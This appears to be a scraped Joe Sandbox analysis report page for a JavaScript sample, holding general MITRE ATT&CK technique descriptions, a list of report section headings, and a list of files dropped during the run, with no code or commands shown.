Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1923918274137833386.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ab164fb5-b889-4b33-93cb-7cedafa00688.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7708

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1923918274137833386.js